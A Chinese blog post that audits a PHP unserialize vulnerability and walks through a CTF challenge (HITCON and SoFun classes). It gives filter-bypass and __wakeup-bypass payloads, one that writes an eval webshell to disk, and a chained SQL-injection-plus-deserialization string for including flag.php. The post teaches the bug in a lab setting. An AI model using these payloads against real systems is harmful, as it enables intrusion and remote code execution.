0%

代码审计--unserialize反序列化漏洞

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}

new Template($_COOKIE['data']);

漏洞解析

我们可以发现这里有个unserialize

1
2
3
4
5
6
7
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

我们知道,$data是我们可控的,但是这里有过滤。
第一个条件, substr($data, 0, 2) !== 'O:' 截取前两个字符 它要求我们传入的不是对象 但是我们可以使用 数组值为对象来绕过
第二个条件,!preg_match('/O:\d:/', $data) 它要求我们传入的数据中不包含O:数字:这种类型。这种的绕过方法是 假如为 O:1:… 我们替换为 O:+1:… 这样就轻松绕过了。
绕过了,但是我们怎么利用呢?我们看看这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';
.....
.....
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
.....
public function __destruct() {
$this->createCache();
}

我们可以知道在对象摧毁之前会调用createCache函数,而它会把一定的内容写进指定的文件路径。通过反序列化类变量是可控的,所以我们可以任意插入文件在任意位置。
最后的payload为:

1
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

CTF 题目源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
include "config.php";

class HITCON{
public $method;
public $args;
public $conn;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function source() {
highlight_file(__FILE__);
}

function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}

?>

config.php

1
2
3
4
5
6
7
8
//config.php
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>

flag.php

1
2
3
4
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>

数据库:

1
随便创建一个空数据库都可以

CTF 题解

首先我们是无法直接访问flag.php文件的因为他做了判断:

1
2
3
4
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>

如果要查看到flag的话我们需要defined('IN_FLAG') 否者就会执行exit('Access Denied')
我们来看看,login这个函数它设置了 IN_FLAF :

1
2
3
4
5
6
7
8
9
10
11
12
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

但是我怎么调用到这个函数,而且确保$obj != false呢?我们先继续看完这个函数,它会调用loadData($obj->role)这个函数,role为数据库里的第3列从 __conn()函数重新定义的,则这里就是查询结果的第三列。

1
2
3
4
5
6
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

我们发现loadData 函数也会进行反序列化,虽然有条件但是我们上面已说过破法。此时的$data是查询结果的第三列,我们可以用union select 来设置这个第三列。我们可控的是$username变量它来源于func_get_args()函数,该函数返回包含调用函数参数列表的数组,我们从哪里调用login函数呢?

HINCONdestruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method=’login’则可以调用login()函数,$this->method为类变量,反序列化可控。 $this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。我们还需要绕过一下`wakeup`因为它会把我们的参数全变小写。绕过方法后面写。
但是此时还是不知道怎么包含flag.php呀。我们看看:

1
2
3
4
5
6
7
8
9
10
11
12
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}

这里有一个文件包含,我们序列化也可以控制 $file 但是我们需要绕过 __wakeup 方法是:

1
序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行

所以最后我们的payload为:

1
?data=O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}

稍作分析:

  1. 先序列化了一个 HTITCON 让其调用 login函数
  2. 并且传参为:
    1
    2
    s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}
    也就是注入那里传入一个新的序列化对象,使其调用SoFun
  3. 然后就欧克可拿到flag了。

-------------本文结束感谢您的阅读-------------